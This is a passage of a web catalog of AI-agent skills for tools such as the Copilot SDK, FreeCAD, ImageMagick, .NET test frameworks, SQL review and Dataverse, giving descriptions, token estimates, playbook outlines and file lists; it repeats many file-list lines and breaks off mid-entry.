bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_installed_primitives.pyruns10,035 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes../../../../../github-copilot/scripts/sync_plugin_components.pyruns9,059 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcopilot-sdk
When your agent uses it
Build agentic applications with GitHub Copilot SDK. Use when embedding AI agents in apps, creating custom tools, implementing streaming responses, managing sessions, connecting to MCP servers, or creating custom agents. Triggers on Copilot SDK, GitHub SDK, agentic app, embed Copilot, programmable agent, MCP server, custom agent.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,667 tokensWhen the skill is activated
Reference documents
4,565 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Overview
- Prerequisites
- Installation
- Quick Start
- Streaming Responses
- Extended reference
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesSKILL.mdcore6,980 bytesreferences/extended-guide.mddoc19,116 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubadobe-illustrator-scripting
When your agent uses it
Write, debug, and optimize Adobe Illustrator automation scripts using ExtendScript (JavaScript/JSX). Use when creating or modifying scripts that manipulate documents, layers, paths, text frames, colors, symbols, artboards, or any Illustrator DOM objects. Covers the complete JavaScript object model, coordinate system, measurement units, export workflows, and scripting best practices.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
2,521 tokensWhen the skill is activated
Reference documents
8,346 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Bundled Assets
- Invocation details
- Prerequisites
- Scripting Environment
- Object Model Overview
- Measurement Units and Coordinates
- Working with Documents
- Working with Paths and Shapes
- Extended reference
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/batch-export-png.jsxscripts/create-color-grid.jsxscripts/find-replace-text.jsx
Files
SKILL.mdcore10,863 bytesreferences/extended-guide.mddoc26,719 bytesreferences/object-model-quick-reference.mddoc5,013 bytesscripts/batch-export-png.jsxruns1,339 bytesscripts/create-color-grid.jsxruns1,146 bytesscripts/find-replace-text.jsxruns893 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfreecad-scripts
When your agent uses it
Write FreeCAD Python scripts, macros, parametric FeaturePython objects, Part/Mesh/Sketcher geometry, PySide GUI tools, Coin3D/Pivy scenegraph code, workbench commands, and CAD automation. Use when asked to create FreeCAD models, automate geometry, convert mesh and solid data, script FEM/Path/TechDraw, or debug FreeCAD Python API tasks.
What it loads into context
Frontmatter
95 tokensAlways available to the agent
SKILL.md
1,858 tokensWhen the skill is activated
Reference documents
16,353 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- FreeCAD Python environment
- Macro pattern
- Compensation rules
- Progressive disclosure and bundled resources
- Compatibility vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,473 bytesSKILL.mdcore7,473 bytesSKILL.mdcore7,473 bytesSKILL.mdcore7,473 bytesSKILL.mdcore7,473 bytesreferences/freecad-implementation-patterns.mddoc14,615 bytesreferences/geometry-and-shapes.mddoc8,807 bytesreferences/gui-and-interface.mddoc11,257 bytesreferences/parametric-objects.mddoc10,840 bytesreferences/scripting-fundamentals.mddoc6,131 bytesreferences/workbenches-and-advanced.mddoc10,068 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgame-engine
When your agent uses it
Build web-based game engines and games with HTML5 Canvas, WebGL, SVG, CSS, and JavaScript. Use when creating 2D or 3D games, implementing game loops, physics, collision detection, sprites, tilemaps, controls, audio, multiplayer with WebRTC or WebSockets, optimization, or publishing workflows.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,771 tokensWhen the skill is activated
Reference documents
84,598 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core engine model
- Workflow patterns
- Template and reference inventory
- Troubleshooting
- Progressive disclosure and bundled resources
- Game development vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore7,536 bytesassets/2d-maze-game.mddoc13,327 bytesassets/2d-platform-game.mddoc59,596 bytesassets/gameBase-template-repo.mddoc10,105 bytesassets/paddle-game-template.mddoc39,331 bytesassets/simple-2d-engine.mddoc14,358 bytesreferences/3d-web-games.mddoc24,488 bytesreferences/algorithms.mddoc25,060 bytesreferences/basics.mddoc11,117 bytesreferences/game-control-mechanisms.mddoc19,517 bytesreferences/game-engine-core-principles.mddoc22,074 bytesreferences/game-publishing.mddoc14,075 bytesreferences/techniques.mddoc28,090 bytesreferences/terminology.mddoc19,886 bytesreferences/web-apis.mddoc52,620 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubimage-manipulation-image-magick
When your agent uses it
Process and manipulate images using ImageMagick. Supports resizing, format conversion, batch processing, and retrieving image metadata. Use when working with images, creating thumbnails, resizing wallpapers, or performing batch image operations.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
2,189 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core capabilities
- Procedure
- Gotchas
- Command patterns
- Limits
- Output template
- Quality gate
Files
SKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytesSKILL.mdcore8,326 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublatchshot-page-capture
When your agent uses it
Capture public HTTP(S) webpages as local PNG, JPEG, or PDF artifacts through Latchshot. Use when the user needs screenshots, website thumbnails, full-page captures, PDFs, QA reports, archives, or social previews. Do not use for private or authenticated pages, raw HTML extraction, scraping, CAPTCHA bypass, arbitrary browser actions, or local-file capture.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,589 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Request boundaries
- No-key demo
- Capture workflow
- Usage and failure handling
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Scripts executed separately
scripts/latchshot.mjs
Files
SKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesSKILL.mdcore6,828 bytesscripts/latchshot.mjsruns18,643 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnano-banana-pro-openrouter
When your agent uses it
Generate or edit images through OpenRouter with the `google/gemini-3-pro-image-preview` model. Use when prompt-only image generation, single-image edits, multi-image compositing, 1K/2K/4K output, or troubleshooting `OPENROUTER_API_KEY`, `uv`, and saved MEDIA files is requested.
What it loads into context
Frontmatter
123 tokensAlways available to the agent
SKILL.md
1,348 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Image generation commands
- Behavior and constraints
- Progressive disclosure and bundled resources
- Troubleshooting
- Output template
- Quality gate
- References
Scripts executed separately
scripts/generate_image.py
Files
SKILL.mdcore5,413 bytesSKILL.mdcore5,413 bytesSKILL.mdcore5,413 bytesassets/SYSTEM_TEMPLATEasset1,183 bytesscripts/generate_image.pyruns5,926 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpdftk-server
When your agent uses it
Use PDFtk Server from the command line to merge, split, rotate, encrypt, decrypt, fill forms, flatten forms, watermark, stamp, extract metadata, burst pages, repair PDFs, attach or extract files, collate scans, and manipulate PDF files. Use when asked for pdftk commands or PDF command-line operations.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,458 tokensWhen the skill is activated
Reference documents
5,784 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Common commands
- Operation rules
- Troubleshooting
- Progressive disclosure and bundled resources
- Output template
Files
SKILL.mdcore6,062 bytesreferences/download.mddoc3,180 bytesreferences/pdftk-cli-examples.mddoc3,391 bytesreferences/pdftk-man-page.mddoc7,081 bytesreferences/pdftk-server-license.mddoc1,489 bytesreferences/third-party-materials.mddoc9,248 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubresemble-detect
When your agent uses it
Detect synthetic or manipulated audio, image, video, and text with Resemble AI; trace audio synthesis sources; apply or detect watermarks; verify speaker identity; and inspect media intelligence. Use this skill when checking deepfakes, fake detection, synthetic media, authenticity, provenance, AI-written text, voice verification, watermarking, source tracing, or whether media is real or fake.
What it loads into context
Frontmatter
150 tokensAlways available to the agent
SKILL.md
3,126 tokensWhen the skill is activated
Reference documents
2,538 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core rule and capability map
- MCP tools and API reference
- Detection workflows
- Reading results and scores
- Feature rules
- Privacy, gotchas, and errors
- Progressive disclosure and bundled resources
- Resemble vocabulary and preserved examples
- Output template
- Quality gate
- References
Files
LICENSEasset11,357 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesSKILL.mdcore13,198 bytesreferences/api-reference.mddoc10,179 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrhino3d-scripts
When your agent uses it
Author and debug Rhinoceros 3D RhinoScript, RhinoPython, RhinoCommon, C# Script Editor, and command macro automation. Use when asked to write .rvb, .vbs, or .py Rhino scripts; manipulate geometry, layers, blocks, documents, viewports, undo, redraw, or Rhino 8 Script Editor workflows; or use rhinoscriptsyntax, scriptcontext, and Rhino.* namespaces.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
2,924 tokensWhen the skill is activated
Reference documents
4,319 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Choose the scripting surface
- Core patterns
- Workflows
- Gotchas
- Troubleshooting
- Progressive disclosure and bundled resources
- Compatibility vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,757 bytesSKILL.mdcore10,757 bytesSKILL.mdcore10,757 bytesSKILL.mdcore10,757 bytesreferences/macros-and-loading.mddoc5,129 bytesreferences/rhinocommon-map.mddoc3,832 bytesreferences/rhinoscriptsyntax-cheatsheet.mddoc3,402 bytesreferences/vbscript-quirks.mddoc3,326 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslang-shader-engineer
When your agent uses it
Write, review, refactor, explain, and optimize Slang shaders and C++ engine integration for graphics pipelines, compute shaders, tessellation, ray tracing, parameter blocks, generics, interfaces, capabilities, autodiff, cross-compilation, and shader portability. Use when the user mentions Slang, .slang files, slangc, SPIR-V, HLSL, GLSL, Metal, CUDA, shader stages, or modern shader language features.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
1,751 tokensWhen the skill is activated
Reference documents
14,873 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Knowledge areas
- Slang-specific rules
- Working style
- Code template
- Criteria
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore7,865 bytesreferences/language-reference.mddoc12,989 bytesreferences/rules-and-patterns.mddoc9,684 bytesreferences/slang-documentation-full.mddoc37,750 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtransloadit-media-processing
When your agent uses it
Process media files (video, audio, images, documents) using Transloadit. Use when asked to encode video to HLS/MP4, generate thumbnails, resize or watermark images, extract audio, concatenate clips, add subtitles, OCR documents, or run any media processing pipeline. Covers 86+ processing robots for file transformation at scale.
What it loads into context
Frontmatter
137 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core Workflows
- Multi-Step Pipelines
- Key Concepts
- Tips
- Output template
Files
SKILL.mdcore6,210 bytesSKILL.mdcore6,210 bytesSKILL.mdcore6,210 bytesSKILL.mdcore6,210 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaspnet-minimal-api-openapi
When your agent uses it
Create or review ASP.NET Minimal API endpoints with typed results, DTO validation, endpoint groups, filters, ProblemDetails, and OpenAPI documentation. Use this skill when asked to add Minimal APIs, document endpoints with Swagger/OpenAPI, use .NET 9 built-in OpenAPI, or design request and response types.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,192 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- API organization
- Request and response types
- Typed result handling
- OpenAPI documentation
- Output template
- Quality gate
Files
SKILL.mdcore5,703 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-async
When your agent uses it
Review, design, and fix C# async code using Task, Task<T>, ValueTask<T>, cancellation, ConfigureAwait, async streams, and TAP conventions. Use when the user asks for C# async best practices, deadlock fixes, async method naming, parallel awaits, or replacing .Wait(), .Result, and async void.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,187 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- API shape rules
- Exception, cancellation, and context rules
- Concurrency patterns
- Common pitfalls
- Output template
- Quality gate
Files
SKILL.mdcore5,217 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-mstest
When your agent uses it
Apply modern MSTest 3.x/4.x testing practices for C# projects. Use when asked to write or review MSTest unit tests, choose assertion APIs, convert ExpectedException tests, design data-driven tests, use TestContext, configure lifecycle hooks, add categories or work items, or run dotnet test for MSTest.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
2,625 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Test structure
- Assertion selection
- Data-driven tests
- TestContext and advanced features
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,751 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-nunit
When your agent uses it
Design, write, and review NUnit tests for .NET projects, including standard tests, data-driven tests, assertions, setup/teardown, categories, and isolation with mocks. Use this skill when the user asks for NUnit best practices, `dotnet test`, `[TestCase]`, `[TestCaseSource]`, or C# unit test structure.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,450 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Project setup and organization
- Test structure and lifecycle
- Data-driven tests
- Assertions and isolation
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,124 bytesSKILL.mdcore6,124 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-tunit
When your agent uses it
Write, review, or migrate C# unit tests using TUnit. Use when the user asks for TUnit best practices, .NET test project setup, TUnit assertions, lifecycle hooks, data-driven tests, parallel execution, retries, categories, or xUnit-to-TUnit migration.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
1,952 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Test structure
- Lifecycle hooks
- Assertions
- Data-driven tests
- Parallelism and reliability
- Migration from xUnit
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore8,097 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-xunit
When your agent uses it
Apply xUnit best practices for C# unit tests, including test project setup, Fact and Theory structure, data-driven tests, assertions, fixtures, mocking, categorization, diagnostics, and dotnet test execution. Use when asked for xUnit guidance or to write .NET unit tests.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,504 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Project setup
- Test structure
- Data-driven tests
- Assertions and exceptions
- Fixtures, mocking, and organization
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,472 bytesSKILL.mdcore6,472 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-best-practices
When your agent uses it
Review or improve .NET and C# code against solution/project best practices for documentation, architecture, dependency injection, resources, async, tests, configuration, Semantic Kernel, logging, performance, security, SOLID, and code quality. Use when asked for .net/c# or .NET/C# best practices or cleanup.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,327 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Criteria
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,386 bytesSKILL.mdcore6,386 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-upgrade
When your agent uses it
Guide .NET upgrade discovery, dependency-aware sequencing, supported framework targeting, compatibility fixes, CI/CD updates, and validation. Use when assessing or upgrading .NET Framework, .NET Core, modern .NET, or shared .NET Standard projects, selecting a supported LTS, or choosing an upgrade workflow.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
2,124 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Project discovery and assessment
- Upgrade strategy and sequencing
- Framework targeting and code adjustments
- NuGet and dependency management
- CI/CD and build pipeline updates
- Testing, breaking changes, and delivery
- Tooling commands
- Output template
- Quality gate
Files
SKILL.mdcore10,627 bytesSKILL.mdcore10,627 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfluentui-blazor
When your agent uses it
Guide for using Microsoft.FluentUI.AspNetCore.Components in Blazor applications. Use when building Blazor UI with Fluent components, setting up providers and AddFluentUIComponents, binding FluentSelect or FluentAutocomplete, using dialogs, toasts, icons, themes, DataGrid, NavMenu, or troubleshooting missing Fluent UI behavior.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
2,289 tokensWhen the skill is activated
Reference documents
4,564 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Setup and providers
- Component binding patterns
- Dialogs, toasts, forms, icons, and themes
- Progressive disclosure and bundled resources
- Gotchas
- API vocabulary to preserve
- Output template
Files
SKILL.mdcore9,610 bytesreferences/DATAGRID.mddoc4,692 bytesreferences/LAYOUT-AND-NAVIGATION.mddoc5,079 bytesreferences/SETUP.mddoc4,982 bytesreferences/THEMING.mddoc3,436 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbigquery-pipeline-audit
When your agent uses it
Audit Python and BigQuery pipeline scripts for cost exposure, dry-run safety, bounded backfills, query pruning, idempotent writes, and observability. Use this skill when reviewing client.query, load_table_from_*, extract_table, copy_table, DDL/DML query jobs, external API calls, LLM calls, or storage writes before production use.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
2,182 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Cost exposure
- Execution modes
- Backfill and loop design
- Query safety and scan size
- Safe writes and idempotency
- Observability
- Criteria
- Audit vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdatanalysis-credit-risk
When your agent uses it
Run and explain a credit risk data cleaning and variable screening pipeline for pre-loan modeling, including missing value analysis, abnormal period filtering, high-missing removal, low-IV filtering, high-PSI filtering, Null Importance denoising, high-correlation removal, organization-level analysis, OOS separation, and Excel report generation. Use this skill when working on credit risk data cleaning, variable screening, and pre-loan modeling preprocessing.
What it loads into context
Frontmatter
105 tokensAlways available to the agent
SKILL.md
2,340 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Inputs
- Procedure
- Core functions
- Screening thresholds
- Report sheets
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Scripts executed separately
references/analysis.pyreferences/func.pyscripts/example.py
Files
SKILL.mdcore9,823 bytesSKILL.mdcore9,823 bytesreferences/analysis.pyruns53,911 bytesreferences/func.pyruns8,749 bytesscripts/example.pyruns17,643 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpinecone-rag
When your agent uses it
Build production RAG pipelines and persistent agent memory with Pinecone as the vector database backend. Use this skill when indexing documents for semantic search, building retrieval-augmented generation, storing agent memory across sessions, implementing hybrid search, designing namespace isolation for multi-tenant agents, creating embedding pipelines, or scaling a searchable knowledge base beyond local storage.
What it loads into context
Frontmatter
117 tokensAlways available to the agent
SKILL.md
2,756 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Index configuration
- Embedding and upsert pipeline
- Retrieval strategies
- RAG and memory patterns
- Gotchas
- Limits
- Pinecone vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytesSKILL.mdcore11,354 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsnowflake-semanticview
When your agent uses it
Create, alter, validate, and troubleshoot Snowflake semantic views with Snowflake CLI. Use this skill when asked to build semantic layer DDL, validate CREATE SEMANTIC VIEW or ALTER SEMANTIC VIEW statements, add synonyms and comments, query SEMANTIC_VIEW output, or set up snow connections.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Semantic-view construction rules
- Procedure
- Gotchas
- Troubleshooting
- Output template
Files
SKILL.mdcore8,252 bytesSKILL.mdcore8,252 bytesSKILL.mdcore8,252 bytesSKILL.mdcore8,252 bytesSKILL.mdcore8,252 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsql-server-table-reconciliation
When your agent uses it
Compare SQL Server tables across source and target instances for migration validation, ETL verification, production versus staging checks, schema drift, missing rows, extra rows, and column mismatches. Use this skill when the user asks for SQL Server reconciliation reports, and use mssql-python with Apache Arrow for fast extraction.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,826 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Procedure
- Comparison rules
- Performance strategy
- Gotchas
- Progressive disclosure and bundled resources
- Report format
- Output template
- Quality gate
Scripts executed separately
scripts/reconcile.py
Files
SKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesSKILL.mdcore7,677 bytesscripts/reconcile.pyruns13,208 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubssma-console
When your agent uses it
Generate XML configuration and execute Microsoft SQL Server Migration Assistant for Oracle console operations without wrapper scripts. Use when asked to create an SSMA project, assess Oracle to SQL Server migration, convert schema, synchronize target schema, migrate data, or troubleshoot SSMAforOracleConsole.exe XML scripts.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,923 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Operation sequence
- XML requirements
- Execution
- Troubleshooting
- Compatibility terminology
- Output template
- Quality gate
Files
SKILL.mdcore7,726 bytesSKILL.mdcore7,726 bytesSKILL.mdcore7,726 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpostgresql-code-review
When your agent uses it
Review existing PostgreSQL SQL, schema, migrations, functions, triggers, indexes, JSONB, arrays, custom types, domains, extensions, privileges, and Row Level Security for PostgreSQL-specific anti-patterns. Use when asked to audit or critique PostgreSQL code, database migrations, PL/pgSQL, RLS policies, or schema design.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
1,706 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Criteria
- PostgreSQL anti-patterns
- SQL vocabulary to preserve
- Output template
Files
SKILL.mdcore7,219 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpostgresql-optimization
When your agent uses it
Design, tune, and modernize PostgreSQL SQL, schemas, indexes, functions, and maintenance workflows using PostgreSQL-specific capabilities. Use this skill when the user asks for PostgreSQL optimization, query tuning, JSONB or array design, EXPLAIN ANALYZE interpretation, index strategy, full-text search, custom types, range/geometric types, pg_stat_statements, VACUUM, ANALYZE, partitioning, or secure parameterized database development.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
2,209 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- PostgreSQL feature map
- Query and index patterns
- Performance workflow
- Schema and data type guidance
- Monitoring and maintenance
- Security rules
- Technical index
- Output template
Files
SKILL.mdcore8,985 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsql-code-review
When your agent uses it
Review SQL code across PostgreSQL, MySQL, SQL Server, and Oracle for injection risks, access control, data protection, performance, schema quality, and maintainability. Use when asked to "review SQL", "find SQL injection", "audit database code", "check stored procedures", or "perform SQL security analysis".
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,177 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Criteria
- Database-specific checks
- Anti-pattern review
- Validation checks
- Output template
Files
SKILL.mdcore9,085 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsql-optimization
When your agent uses it
Universal SQL performance optimization assistant for query tuning, execution-plan review, index strategy, pagination, batching, aggregation, and monitoring across MySQL, PostgreSQL, SQL Server, Oracle, and other SQL databases. Use this skill when the user asks to optimize slow SQL, review query plans, improve indexes, fix SELECT performance, reduce N+1 queries, tune pagination, or analyze database performance.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
2,685 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Criteria
- Procedure
- Gotchas
- Additional anti-pattern examples
- Output template
Files
SKILL.mdcore11,326 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdataverse-python-advanced-patterns
When your agent uses it
Generate production-ready Microsoft Dataverse SDK for Python code using advanced error handling, retries, batch operations, optimized OData queries, metadata management, timeouts, cache invalidation, file upload, and pandas workflows. Use when the user asks for production Dataverse Python patterns beyond quickstart CRUD.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,232 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Production pattern map
- Error handling and retry rules
- Query and metadata rules
- File and DataFrame rules
- Output template
- Quality gate
Files
SKILL.mdcore5,806 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdataverse-python-production-code
When your agent uses it
Generate production-ready Python 3.10+ code for the PowerPlatform-Dataverse-Client SDK with DataverseError handling, singleton client management, retry with exponential backoff for 429/timeout failures, OData optimization, audit logging, type hints, docstrings, configuration handling, and usage examples. Use when asked for Dataverse Python code, SDK examples, or system instructions.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
